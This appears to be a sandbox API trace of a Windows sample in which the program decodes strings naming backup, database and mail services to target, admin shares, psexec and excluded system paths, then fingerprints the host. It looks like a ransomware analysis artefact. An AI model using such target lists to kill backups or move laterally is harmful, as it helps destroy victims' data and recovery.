	[0053.980] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="winword.exe" | out: DestinationString="winword.exe") 
	[0053.980] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="winword.exe", AllocateDestinationString=1 | out: DestinationString="winword.exe") returned 0x0
	[0053.980] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x948f98
	[0053.980] RtlFreeAnsiString (AnsiString="w") 
	[0053.980] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="oracle.exe" | out: DestinationString="oracle.exe") 
	[0053.980] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="oracle.exe", AllocateDestinationString=1 | out: DestinationString="oracle.exe") returned 0x0
	[0053.980] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x16) returned 0x954e50
	[0053.980] RtlFreeAnsiString (AnsiString="o") 
	[0053.980] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="xfssvccon.exe" | out: DestinationString="xfssvccon.exe") 
	[0053.980] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="xfssvccon.exe", AllocateDestinationString=1 | out: DestinationString="xfssvccon.exe") returned 0x0
	[0053.980] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x1c) returned 0x94f120
	[0053.980] RtlFreeAnsiString (AnsiString="x") 
	[0053.980] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="firefoxconfig.exe" | out: DestinationString="firefoxconfig.exe") 
	[0053.980] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="firefoxconfig.exe", AllocateDestinationString=1 | out: DestinationString="firefoxconfig.exe") returned 0x0
	[0053.980] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x24) returned 0x947a50
	[0053.980] RtlFreeAnsiString (AnsiString="f") 
	[0053.980] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="visio.exe" | out: DestinationString="visio.exe") 
	[0053.980] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="visio.exe", AllocateDestinationString=1 | out: DestinationString="visio.exe") returned 0x0
	[0053.980] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x14) returned 0x954eb0
	[0053.981] RtlFreeAnsiString (AnsiString="v") 
	[0053.981] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="mydesktopqos.exe" | out: DestinationString="mydesktopqos.exe") 
	[0053.981] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="mydesktopqos.exe", AllocateDestinationString=1 | out: DestinationString="mydesktopqos.exe") returned 0x0
	[0053.981] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x22) returned 0x947ae0
	[0053.981] RtlFreeAnsiString (AnsiString="m") 
	[0053.981] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="infopath.exe" | out: DestinationString="infopath.exe") 
	[0053.981] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="infopath.exe", AllocateDestinationString=1 | out: DestinationString="infopath.exe") returned 0x0
	[0053.981] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x1a) returned 0x94ece8
	[0053.981] RtlFreeAnsiString (AnsiString="i") 
	[0053.981] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="agntsvc.exe" | out: DestinationString="agntsvc.exe") 
	[0053.981] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="agntsvc.exe", AllocateDestinationString=1 | out: DestinationString="agntsvc.exe") returned 0x0
	[0053.981] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x954d30
	[0053.981] RtlFreeAnsiString (AnsiString="a") 
	[0053.981] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x90) returned 0x941bf8
	[0053.981] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="Lotus*" | out: DestinationString="Lotus*") 
	[0053.981] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="Lotus*", AllocateDestinationString=1 | out: DestinationString="Lotus*") returned 0x0
	[0053.981] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xe) returned 0x953d08
	[0053.981] RtlFreeAnsiString (AnsiString="L") 
	[0053.981] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="veeam*" | out: DestinationString="veeam*") 
	[0053.981] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="veeam*", AllocateDestinationString=1 | out: DestinationString="veeam*") returned 0x0
	[0053.981] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xe) returned 0x953e40
	[0053.981] RtlFreeAnsiString (AnsiString="v") 
	[0053.981] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="cbvscserv*" | out: DestinationString="cbvscserv*") 
	[0053.981] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="cbvscserv*", AllocateDestinationString=1 | out: DestinationString="cbvscserv*") returned 0x0
	[0053.981] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x16) returned 0x954e70
	[0053.981] RtlFreeAnsiString (AnsiString="c") 
	[0053.981] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="hMailServer" | out: DestinationString="hMailServer") 
	[0053.981] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="hMailServer", AllocateDestinationString=1 | out: DestinationString="hMailServer") returned 0x0
	[0053.981] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x954e30
	[0053.982] RtlFreeAnsiString (AnsiString="h") 
	[0053.982] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="backup*" | out: DestinationString="backup*") 
	[0053.982] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="backup*", AllocateDestinationString=1 | out: DestinationString="backup*") returned 0x0
	[0053.982] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x10) returned 0x953c00
	[0053.982] RtlFreeAnsiString (AnsiString="b") 
	[0053.982] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*backup*" | out: DestinationString="*backup*") 
	[0053.982] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*backup*", AllocateDestinationString=1 | out: DestinationString="*backup*") returned 0x0
	[0053.982] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x12) returned 0x954e10
	[0053.982] RtlFreeAnsiString (AnsiString="*") 
	[0053.982] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="apach*" | out: DestinationString="apach*") 
	[0053.982] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="apach*", AllocateDestinationString=1 | out: DestinationString="apach*") returned 0x0
	[0053.982] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xe) returned 0x953eb8
	[0053.982] RtlFreeAnsiString (AnsiString="a") 
	[0053.982] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="firebird*" | out: DestinationString="firebird*") 
	[0053.982] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="firebird*", AllocateDestinationString=1 | out: DestinationString="firebird*") returned 0x0
	[0053.982] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x14) returned 0x954e90
	[0053.982] RtlFreeAnsiString (AnsiString="f") 
	[0053.982] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="ibmiasrw" | out: DestinationString="ibmiasrw") 
	[0053.982] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="ibmiasrw", AllocateDestinationString=1 | out: DestinationString="ibmiasrw") returned 0x0
	[0053.982] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x12) returned 0x954ed0
	[0053.982] RtlFreeAnsiString (AnsiString="i") 
	[0053.982] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="IBM Domino*" | out: DestinationString="IBM Domino*") 
	[0053.982] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="IBM Domino*", AllocateDestinationString=1 | out: DestinationString="IBM Domino*") returned 0x0
	[0053.982] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x954bb0
	[0053.982] RtlFreeAnsiString (AnsiString="I") 
	[0053.982] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="Simply Accounting Database Connection Manager" | out: DestinationString="Simply Accounting Database Connection Manager") 
	[0053.982] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="Simply Accounting Database Connection Manager", AllocateDestinationString=1 | out: DestinationString="Simply Accounting Database Connection Manager") returned 0x0
	[0053.982] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x5c) returned 0x936f98
	[0053.982] RtlFreeAnsiString (AnsiString="S") 
	[0053.983] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="IASJet" | out: DestinationString="IASJet") 
	[0053.983] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="IASJet", AllocateDestinationString=1 | out: DestinationString="IASJet") returned 0x0
	[0053.983] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xe) returned 0x953f00
	[0053.983] RtlFreeAnsiString (AnsiString="I") 
	[0053.983] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="QB*" | out: DestinationString="QB*") 
	[0053.983] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="QB*", AllocateDestinationString=1 | out: DestinationString="QB*") returned 0x0
	[0053.983] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x9549d8
	[0053.983] RtlFreeAnsiString (AnsiString="Q") 
	[0053.983] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*sql*" | out: DestinationString="*sql*") 
	[0053.983] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*sql*", AllocateDestinationString=1 | out: DestinationString="*sql*") returned 0x0
	[0053.983] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xc) returned 0x953ee8
	[0053.983] RtlFreeAnsiString (AnsiString="*") 
	[0053.983] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="sql*" | out: DestinationString="sql*") 
	[0053.983] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="sql*", AllocateDestinationString=1 | out: DestinationString="sql*") returned 0x0
	[0053.983] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xa) returned 0x953f18
	[0053.983] RtlFreeAnsiString (AnsiString="s") 
	[0053.983] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="QuickBooksDB*" | out: DestinationString="QuickBooksDB*") 
	[0053.983] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="QuickBooksDB*", AllocateDestinationString=1 | out: DestinationString="QuickBooksDB*") returned 0x0
	[0053.983] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x1c) returned 0x94ed10
	[0053.983] RtlFreeAnsiString (AnsiString="Q") 
	[0053.983] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="IISADMIN" | out: DestinationString="IISADMIN") 
	[0053.983] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="IISADMIN", AllocateDestinationString=1 | out: DestinationString="IISADMIN") returned 0x0
	[0053.983] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x12) returned 0x954dd0
	[0053.983] RtlFreeAnsiString (AnsiString="I") 
	[0053.983] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="omsad" | out: DestinationString="omsad") 
	[0053.983] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="omsad", AllocateDestinationString=1 | out: DestinationString="omsad") returned 0x0
	[0053.983] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xc) returned 0x953e58
	[0053.983] RtlFreeAnsiString (AnsiString="o") 
	[0053.983] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="dc*32" | out: DestinationString="dc*32") 
	[0053.983] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="dc*32", AllocateDestinationString=1 | out: DestinationString="dc*32") returned 0x0
	[0053.984] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xc) returned 0x953ea0
	[0053.984] RtlFreeAnsiString (AnsiString="d") 
	[0053.984] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="server Administrator" | out: DestinationString="server Administrator") 
	[0053.984] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="server Administrator", AllocateDestinationString=1 | out: DestinationString="server Administrator") returned 0x0
	[0053.984] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x2a) returned 0x94e548
	[0053.984] RtlFreeAnsiString (AnsiString="s") 
	[0053.984] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="wbengine" | out: DestinationString="wbengine") 
	[0053.984] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="wbengine", AllocateDestinationString=1 | out: DestinationString="wbengine") returned 0x0
	[0053.984] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x12) returned 0x954d70
	[0053.984] RtlFreeAnsiString (AnsiString="w") 
	[0053.984] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="mr2kserv" | out: DestinationString="mr2kserv") 
	[0053.984] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="mr2kserv", AllocateDestinationString=1 | out: DestinationString="mr2kserv") returned 0x0
	[0053.984] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x12) returned 0x954cd0
	[0053.984] RtlFreeAnsiString (AnsiString="m") 
	[0053.984] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="MSExchange*" | out: DestinationString="MSExchange*") 
	[0053.984] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="MSExchange*", AllocateDestinationString=1 | out: DestinationString="MSExchange*") returned 0x0
	[0053.984] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x954cf0
	[0053.984] RtlFreeAnsiString (AnsiString="M") 
	[0053.984] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="ShadowProtectSvc" | out: DestinationString="ShadowProtectSvc") 
	[0053.984] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="ShadowProtectSvc", AllocateDestinationString=1 | out: DestinationString="ShadowProtectSvc") returned 0x0
	[0053.984] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x22) returned 0x947ab0
	[0053.984] RtlFreeAnsiString (AnsiString="S") 
	[0053.984] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="SP*4" | out: DestinationString="SP*4") 
	[0053.984] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="SP*4", AllocateDestinationString=1 | out: DestinationString="SP*4") returned 0x0
	[0053.984] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xa) returned 0x953e70
	[0053.984] RtlFreeAnsiString (AnsiString="S") 
	[0053.984] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="teamviewer" | out: DestinationString="teamviewer") 
	[0053.984] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="teamviewer", AllocateDestinationString=1 | out: DestinationString="teamviewer") returned 0x0
	[0053.984] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x16) returned 0x954bf0
	[0053.984] RtlFreeAnsiString (AnsiString="t") 
	[0053.985] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="MMS" | out: DestinationString="MMS") 
	[0053.985] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="MMS", AllocateDestinationString=1 | out: DestinationString="MMS") returned 0x0
	[0053.985] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954ac8
	[0053.985] RtlFreeAnsiString (AnsiString="M") 
	[0053.985] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="AcronisAgent" | out: DestinationString="AcronisAgent") 
	[0053.985] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="AcronisAgent", AllocateDestinationString=1 | out: DestinationString="AcronisAgent") returned 0x0
	[0053.985] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x1a) returned 0x94edb0
	[0053.985] RtlFreeAnsiString (AnsiString="A") 
	[0053.985] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="ARSM" | out: DestinationString="ARSM") 
	[0053.985] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="ARSM", AllocateDestinationString=1 | out: DestinationString="ARSM") returned 0x0
	[0053.985] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xa) returned 0x953e88
	[0053.985] RtlFreeAnsiString (AnsiString="A") 
	[0053.985] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="AcrSch2Svc" | out: DestinationString="AcrSch2Svc") 
	[0053.985] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="AcrSch2Svc", AllocateDestinationString=1 | out: DestinationString="AcrSch2Svc") returned 0x0
	[0053.985] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x16) returned 0x954c30
	[0053.985] RtlFreeAnsiString (AnsiString="A") 
	[0053.985] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="vsnapvss" | out: DestinationString="vsnapvss") 
	[0053.985] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="vsnapvss", AllocateDestinationString=1 | out: DestinationString="vsnapvss") returned 0x0
	[0053.985] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x12) returned 0x954d90
	[0053.985] RtlFreeAnsiString (AnsiString="v") 
	[0053.985] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="SPXService" | out: DestinationString="SPXService") 
	[0053.985] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="SPXService", AllocateDestinationString=1 | out: DestinationString="SPXService") returned 0x0
	[0053.985] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x16) returned 0x954ef0
	[0053.985] RtlFreeAnsiString (AnsiString="S") 
	[0053.985] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="StorageCraft ImageManager" | out: DestinationString="StorageCraft ImageManager") 
	[0053.985] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="StorageCraft ImageManager", AllocateDestinationString=1 | out: DestinationString="StorageCraft ImageManager") returned 0x0
	[0053.985] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x34) returned 0x94b910
	[0053.985] RtlFreeAnsiString (AnsiString="S") 
	[0053.985] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="wrsvc" | out: DestinationString="wrsvc") 
	[0053.985] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="wrsvc", AllocateDestinationString=1 | out: DestinationString="wrsvc") returned 0x0
	[0053.985] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xc) returned 0x953ed0
	[0053.986] RtlFreeAnsiString (AnsiString="w") 
	[0053.986] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="stc_endpt_svc" | out: DestinationString="stc_endpt_svc") 
	[0053.986] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="stc_endpt_svc", AllocateDestinationString=1 | out: DestinationString="stc_endpt_svc") returned 0x0
	[0053.986] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x1c) returned 0x94ed60
	[0053.986] RtlFreeAnsiString (AnsiString="s") 
	[0053.986] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="acrsch2svc" | out: DestinationString="acrsch2svc") 
	[0053.986] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="acrsch2svc", AllocateDestinationString=1 | out: DestinationString="acrsch2svc") returned 0x0
	[0053.986] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x16) returned 0x954bd0
	[0053.986] RtlFreeAnsiString (AnsiString="a") 
	[0053.986] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x14) returned 0x954d10
	[0053.986] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="reboot" | out: DestinationString="reboot") 
	[0053.986] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="reboot", AllocateDestinationString=1 | out: DestinationString="reboot") returned 0x0
	[0053.986] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xe) returned 0x9453b0
	[0053.986] RtlFreeAnsiString (AnsiString="r") 
	[0053.986] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="restart" | out: DestinationString="restart") 
	[0053.986] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="restart", AllocateDestinationString=1 | out: DestinationString="restart") returned 0x0
	[0053.986] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x10) returned 0x955990
	[0053.986] RtlFreeAnsiString (AnsiString="r") 
	[0053.986] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="shutdown" | out: DestinationString="shutdown") 
	[0053.986] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="shutdown", AllocateDestinationString=1 | out: DestinationString="shutdown") returned 0x0
	[0053.986] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x12) returned 0x954db0
	[0053.986] RtlFreeAnsiString (AnsiString="s") 
	[0053.986] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="logoff" | out: DestinationString="logoff") 
	[0053.986] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="logoff", AllocateDestinationString=1 | out: DestinationString="logoff") returned 0x0
	[0053.986] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xe) returned 0x955ae0
	[0053.986] RtlFreeAnsiString (AnsiString="l") 
	[0053.986] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="back" | out: DestinationString="back") 
	[0053.986] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="back", AllocateDestinationString=1 | out: DestinationString="back") returned 0x0
	[0053.987] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xa) returned 0x955a50
	[0053.987] RtlFreeAnsiString (AnsiString="b") 
	[0053.987] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x954948
	[0053.987] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="ipc$" | out: DestinationString="ipc$") 
	[0053.987] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="ipc$", AllocateDestinationString=1 | out: DestinationString="ipc$") returned 0x0
	[0053.987] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xa) returned 0x955ab0
	[0053.987] RtlFreeAnsiString (AnsiString="i") 
	[0053.987] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="admin$" | out: DestinationString="admin$") 
	[0053.988] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="admin$", AllocateDestinationString=1 | out: DestinationString="admin$") returned 0x0
	[0053.988] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xe) returned 0x955a38
	[0053.988] RtlFreeAnsiString (AnsiString="a") 
	[0053.988] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x8) returned 0x9549e8
	[0053.988] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="psexec.exe" | out: DestinationString="psexec.exe") 
	[0053.988] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="psexec.exe", AllocateDestinationString=1 | out: DestinationString="psexec.exe") returned 0x0
	[0053.988] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x16) returned 0x954d50
	[0053.988] RtlFreeAnsiString (AnsiString="p") 
	[0053.988] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="system" | out: DestinationString="system") 
	[0053.988] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="system", AllocateDestinationString=1 | out: DestinationString="system") returned 0x0
	[0053.988] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xe) returned 0x955ac8
	[0053.988] RtlFreeAnsiString (AnsiString="s") 
	[0053.988] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xc) returned 0x9559f0
	[0053.988] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*:\\windows*" | out: DestinationString="*:\\windows*") 
	[0053.988] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*:\\windows*", AllocateDestinationString=1 | out: DestinationString="*:\\windows*") returned 0x0
	[0053.988] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x954b70
	[0053.988] RtlFreeAnsiString (AnsiString="*") 
	[0053.988] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*:\\winnt*" | out: DestinationString="*:\\winnt*") 
	[0053.989] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*:\\winnt*", AllocateDestinationString=1 | out: DestinationString="*:\\winnt*") returned 0x0
	[0053.989] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x14) returned 0x954cb0
	[0053.989] RtlFreeAnsiString (AnsiString="*") 
	[0053.989] RtlInitAnsiString (in: DestinationString=0x4ff8b4, SourceString="*:\\program file*\\vmwar*" | out: DestinationString="*:\\program file*\\vmwar*") 
	[0053.989] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff8bc, SourceString="*:\\program file*\\vmwar*", AllocateDestinationString=1 | out: DestinationString="*:\\program file*\\vmwar*") returned 0x0
	[0053.989] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x30) returned 0x94e9e0
	[0053.989] RtlFreeAnsiString (AnsiString="*") 
	[0053.989] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x948788) returned 1
	[0053.989] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x837198, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\wwllww.vexe.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\wwllww.vexe.exe")) returned 0x27
	[0053.989] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x84) returned 0x955b50
	[0053.989] GetVersion () returned 0x23f00206
	[0053.989] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x955b58 | out: Wow64Process=0x955b58) returned 1
	[0053.989] GetCurrentProcessId () returned 0x13bc
	[0053.989] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x4ff930 | out: TokenHandle=0x4ff930*=0x200) returned 0x0
	[0053.989] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x100) returned 0x955be0
	[0053.989] GetTokenInformation (in: TokenHandle=0x200, TokenInformationClass=0x1, TokenInformation=0x955be0, TokenInformationLength=0x100, ReturnLength=0x4ff968 | out: TokenInformation=0x955be0, ReturnLength=0x4ff968) returned 1
	[0053.989] IsWellKnownSid (pSid=0x955be8*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), WellKnownSidType=0x16) returned 0
	[0053.989] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x955be0) returned 1
	[0053.989] GetTokenInformation (in: TokenHandle=0x200, TokenInformationClass=0x12, TokenInformation=0x4ff944, TokenInformationLength=0x4, ReturnLength=0x4ff968 | out: TokenInformation=0x4ff944, ReturnLength=0x4ff968) returned 1
	[0053.989] NtClose (Handle=0x200) returned 0x0
	[0053.989] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x0, nSize=0x4ff92c | out: lpBuffer=0x0, nSize=0x4ff92c) returned 0
	[0053.990] GetLastError () returned 0xea
	[0053.990] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x10) returned 0x9559c0
	[0053.990] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x9559c0, nSize=0x4ff92c | out: lpBuffer="NQDPDE", nSize=0x4ff92c) returned 1
	[0053.990] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xf4) returned 0x955be0
	[0053.990] GetCurrentHwProfileW (in: lpHwProfileInfo=0x955be0 | out: lpHwProfileInfo=0x955be0) returned 1
	[0053.991] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x70) returned 0x936e20
	[0053.991] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x20) returned 0x94ecc0
	[0053.991] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x94ecc0) returned 1
